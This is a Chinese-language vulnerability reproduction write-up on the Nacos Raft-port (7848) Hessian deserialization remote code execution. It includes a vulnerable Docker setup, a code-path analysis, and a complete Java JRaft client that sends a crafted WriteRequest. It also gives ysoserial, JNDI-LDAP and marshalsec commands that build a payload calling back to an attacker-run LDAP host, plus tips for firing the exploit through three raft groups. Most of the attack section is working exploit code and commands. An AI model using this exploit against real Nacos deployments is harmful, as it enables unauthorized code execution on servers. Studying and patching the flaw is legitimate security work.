Nacos默认的7848端口是用于Nacos集群间Raft协议的通信,该端口的服务在处理部分Jraft请求时会使用Hessian进行反序列化
影响版本
1.4.0 <= Nacos < 1.4.6
2.0.0 <= Nacos < 2.2.3
前置知识 grpc-java 作为分析该漏洞的前置知识,需要对照官方文档 快速学一下(搜了一些教程,但讲的版本比较老了,很多不兼容的地方,Nacos用的是比较新的版本,所以还是以官方教程学习靠谱)
添加依赖 创建Maven项目 grpc_demo,依赖参考官方README
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <dependency > <groupId > io.grpc</groupId > <artifactId > grpc-netty-shaded</artifactId > <version > 1.50.2</version > <scope > runtime</scope > </dependency > <dependency > <groupId > io.grpc</groupId > <artifactId > grpc-protobuf</artifactId > <version > 1.50.2</version > </dependency > <dependency > <groupId > io.grpc</groupId > <artifactId > grpc-stub</artifactId > <version > 1.50.2</version > </dependency > <dependency > <groupId > io.grpc</groupId > <artifactId > grpc-api</artifactId > <version > 1.50.2</version > </dependency >
定义服务 在src/main目录下创建proto目录,并创建文件helloworld.proto,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 syntax = "proto3" ; option java_multiple_files = true ;option java_package = "com.example.grpc.api" ;service Greeter { rpc SayHello (HelloRequest) returns (HelloReply) {} } message HelloRequest { string name = 1 ;} message HelloReply { string message = 1; }
生成客户端和服务端代码 可以用Maven插件或者命令行工具生成,我觉得用命令行工具更加清晰,用法参考 https://grpc.io/docs/languages/java/basics/#generating-client-and-server-code 和 https://grpc.io/docs/languages/java/generated-code/
下载protobuf https://github.com/protocolbuffers/protobuf/releases/tag/v23.2
下载自己系统对应的版本并放入proto目录
下载protoc-gen-grpc-java https://repo1.maven.org/maven2/io/grpc/protoc-gen-grpc-java/1.9.1/
同样下载和系统对应的版本放入proto目录
生成代码 cd到proto目录,将下载的protoc-gen-grpc-java重命名为标准名称,添加可执行权限,并运行protoc生成代码
1 2 3 mv protoc-gen-grpc-java-1.9.1-osx-x86_64.exe protoc-gen-grpc-java chmod +x protoc-gen-grpc-java ./protoc --plugin=protoc-gen-grpc-java --grpc-java_out=../java --java_out=../java helloworld.proto
创建服务端 实现具体代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.example.grpc.service;import com.example.grpc.api.GreeterGrpc;import com.example.grpc.api.HelloReply;import com.example.grpc.api.HelloRequest;import io.grpc.stub.StreamObserver;public class GreeterService extends GreeterGrpc .GreeterImplBase { @Override public void sayHello (HelloRequest request, StreamObserver<HelloReply> responseObserver) { String name = request.getName(); HelloReply helloReply = HelloReply.newBuilder().setMessage("Hello, " +name).build(); responseObserver.onNext(helloReply); responseObserver.onCompleted(); } }
运行服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package com.example.grpc;import com.example.grpc.service.GreeterService;import io.grpc.Server;import io.grpc.ServerBuilder;import java.io.IOException;public class GreeterServer { public static void main (String[] args) throws IOException, InterruptedException { int port = 8888 ; Server server = ServerBuilder.forPort(port).addService(new GreeterService()).build(); server.start(); System.out.println("Running..." ); server.awaitTermination(); } }
创建客户端 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.example.grpc;import com.example.grpc.api.GreeterGrpc;import com.example.grpc.api.HelloReply;import com.example.grpc.api.HelloRequest;import io.grpc.Channel;import io.grpc.ManagedChannelBuilder;public class GreeterClient { public static void main (String[] args) { String host = "127.0.0.1" ; int port = 8888 ; Channel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build(); GreeterGrpc.GreeterBlockingStub greeterBlockingStub = GreeterGrpc.newBlockingStub(channel); HelloRequest helloRequest = HelloRequest.newBuilder().setName("leixiao" ).build(); HelloReply helloReply = greeterBlockingStub.sayHello(helloRequest); System.out.println(helloReply.getMessage()); } }
运行客户端后,便完成了一次gRPC请求和响应
JRaft Raft 是一种共识算法,JRaft 是其Java实现,可以看一下官方的Demo
漏洞环境 Dockerfile
nacos-server-2.2.2.tar.gz
1 2 3 4 5 6 7 8 FROM openjdk:8 u342-jreADD nacos-server-2.2.2.tar.gz /root RUN apt update && \ apt install net-tools procps -y WORKDIR /root
docker-compose.yml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 version: '3' services: nacos: build: . container_name: nacos ports: - 5005 :5005 - 7848 :7848 - 8848 :8848 environment: - JAVA_OPT=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 command: - /bin/sh - -c - | bash nacos/bin/startup.sh -m standalone tail -f nacos/logs/start.out
漏洞分析 修复代码中添加了Hessian反序列化白名单:https://github.com/alibaba/nacos/pull/10542/files
那么最终反序列化的地方很清楚,即:
com.alibaba.nacos.consistency.serialize.HessianSerializer#deserialize
再根据漏洞描述 ——“该漏洞仅影响7848端口(默认设置下),一般使用时该端口为Nacos集群间Raft协议的通信端口”,找到可能的漏洞触发点:
在JRaft中,提交的任务最终将会复制应用到所有 raft 节点上的状态机。onApply 是StateMachine最核心的方法。
com.alibaba.nacos.core.distributed.raft.NacosStateMachine#onApply
1 2 3 4 5 6 7 public void onApply (Iterator iter) { ... if (message instanceof WriteRequest) { Response response = processor.onApply((WriteRequest) message); postProcessor(response, closure); } ...
processor.onApply
有多个实现,先看如下这个:
com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#onApply
1 2 public Response onApply (WriteRequest request) { final InstanceStoreRequest instanceRequest = serializer.deserialize(request.getData().toByteArray());
另外在com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl中有个group方法如下,NAMING_PERSISTENT_SERVICE_GROUP_V2
的值即naming_persistent_service_v2
会在后面客户端的代码中用到
1 2 3 public String group () { return Constants.NAMING_PERSISTENT_SERVICE_GROUP_V2; }
group()
是作为groupId用于创建RaftGroupService:
com.alibaba.nacos.core.distributed.raft.JRaftServer#createMultiRaftGroup
1 2 3 4 5 6 7 synchronized void createMultiRaftGroup (Collection<RequestProcessor4CP> processors) { ... for (RequestProcessor4CP processor : processors) { final String groupName = processor.group(); ... RaftGroupService raftGroupService = new RaftGroupService(groupName, localPeerId, copy, rpcServer, true ); ...
构造请求 在源码中并没有WriteRequest
,Response
等类的定义,他们都在nacos-2.2.2/consistency/src/main/proto/consistency.proto 文件中,将该文件复制到文章开头创建的 grpc_demo 项目的proto目录中,借助protoc命令行工具生成代码
1 ./protoc --plugin=protoc-gen-grpc-java --grpc-java_out=../java --java_out=../java consistency.proto
然后参考JRaft给出的Demo ,可以写出相应的客户端代码:
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > com.alipay.sofa</groupId > <artifactId > jraft-core</artifactId > <version > 1.3.12</version > </dependency > <dependency > <groupId > com.alipay.sofa</groupId > <artifactId > rpc-grpc-impl</artifactId > <version > 1.3.12</version > </dependency >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package org.example;import com.alibaba.nacos.consistency.entity.WriteRequest;import com.alipay.sofa.jraft.entity.PeerId;import com.alipay.sofa.jraft.option.CliOptions;import com.alipay.sofa.jraft.rpc.impl.GrpcClient;import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;import com.google.protobuf.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.Map;public class App { public static void main ( String[] args ) throws Exception { String address = "127.0.0.1:7848" ; byte [] poc = getPoc(); CliClientServiceImpl cliClientService = new CliClientServiceImpl(); cliClientService.init(new CliOptions()); PeerId leader = PeerId.parsePeer(address); WriteRequest request = WriteRequest.newBuilder() .setGroup("naming_persistent_service_v2" ) .setData(ByteString.copyFrom(poc)) .build(); GrpcClient grpcClient = (GrpcClient) cliClientService.getRpcClient(); Field parserClassesField = GrpcClient.class.getDeclaredField("parserClasses"); parserClassesField.setAccessible(true ); Map<String, Message> parserClasses = (Map) parserClassesField.get(grpcClient); parserClasses.put(WriteRequest.class .getName (),WriteRequest .getDefaultInstance ()) ; MarshallerHelper.registerRespInstance(WriteRequest.class .getName (),WriteRequest .getDefaultInstance ()) ; Object res = grpcClient.invokeSync(leader.getEndpoint(), request,5000 ); System.out.println(res); } }
断点调试 可以在关键的几处下断点观察:
com.alibaba.nacos.core.distributed.raft.NacosStateMachine#onApply
com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#onApply
com.alibaba.nacos.consistency.serialize.HessianSerializer#deserialize(byte[])
Gadget 目前只是成功让代码走到反序列化的点,还需要构造Hession反序列化的POC:
通过JNDI-Injection-LDAP-Deserialization 启动恶意ldap服务,并使用y4er师傅改的ysoserial 中Jackson这条链
1 java -jar JNDI-Injection-LDAP-Deserialization-1.0-SNAPSHOT.jar 1389 `java -jar ~/Tools/Y4er_ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar Jackson 'touch /tmp/success' |base64`
然后通过marshasec 生成JDNI注入的POC
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringPartiallyComparableAdvisorHolder ldap://host.docker.internal:1389/exp |base64
其他 其实前面很多分析过程是有省略的,感觉都写下来会很乱,所以挑了一条漏洞的链路完成漏洞的复现,准备在后面补充一些细节
只能打一次? 按前文的POC第一次攻击7848端口的话,调用栈如下:
1 2 3 4 5 6 7 8 9 10 deserialize(byte[]), HessianSerializer onApply(WriteRequest), PersistentClientOperationServiceImpl onApply(Iterator), NacosStateMachine doApplyTasks(IteratorImpl), FSMCallerImpl doCommitted(long), FSMCallerImpl runApplyTask(FSMCallerImpl$ApplyTask, long, boolean), FSMCallerImpl access$100(FSMCallerImpl, FSMCallerImpl$ApplyTask, long, boolean), FSMCallerImpl onEvent(FSMCallerImpl$ApplyTask, long, boolean), FSMCallerImpl$ApplyTaskHandler onEvent(Object, long, boolean), FSMCallerImpl$ApplyTaskHandler run(), BatchEventProcessor
JRaft客户端得到的返回数据是反序列化中的异常信息,说明已经完成反序列化过程,这里没有问题
但是同样的POC,运行第二次,返回信息是:
并且代码无法进入上述调用栈,感觉这里可能和Raft的算法或者协议有关,重启环境也不行。需要销毁环境,重新创建:
1 docker-compose down; docker-compose up -d
多条触发链路 在前文中提到的com.alibaba.nacos.core.distributed.raft.JRaftServer#createMultiRaftGroup中创建RaftGroupService的地方下断点,并且对环境进行销毁重启,在重启的同时IDEA连上调试
会发现其实不只存在一个RaftGroupService:
1 2 3 naming_persistent_service_v2 naming_instance_metadata naming_service_metadata
他们分别对应的”onApply”如下:
com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#onApply
1 2 public Response onApply (WriteRequest request) { final InstanceStoreRequest instanceRequest = serializer.deserialize(request.getData().toByteArray());
com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadataProcessor#onApply
1 2 3 public Response onApply (WriteRequest request) { MetadataOperation<InstanceMetadata> op = serializer.deserialize(request.getData().toByteArray(), processType); ...
com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessor#onApply
1 2 3 public Response onApply (WriteRequest request) { MetadataOperation<ServiceMetadata> op = serializer.deserialize(request.getData().toByteArray(), processType); ...
都有反序列化操作,所以,打完一个”group”后,可以打另外一个”group”,这样漏洞至少可以打3次:
1 2 3 4 5 6 WriteRequest request = WriteRequest.newBuilder() .setGroup("naming_persistent_service_v2" ) .setData(ByteString.copyFrom(poc)) .build();
参考 https://y4er.com/posts/nacos-hessian-rce/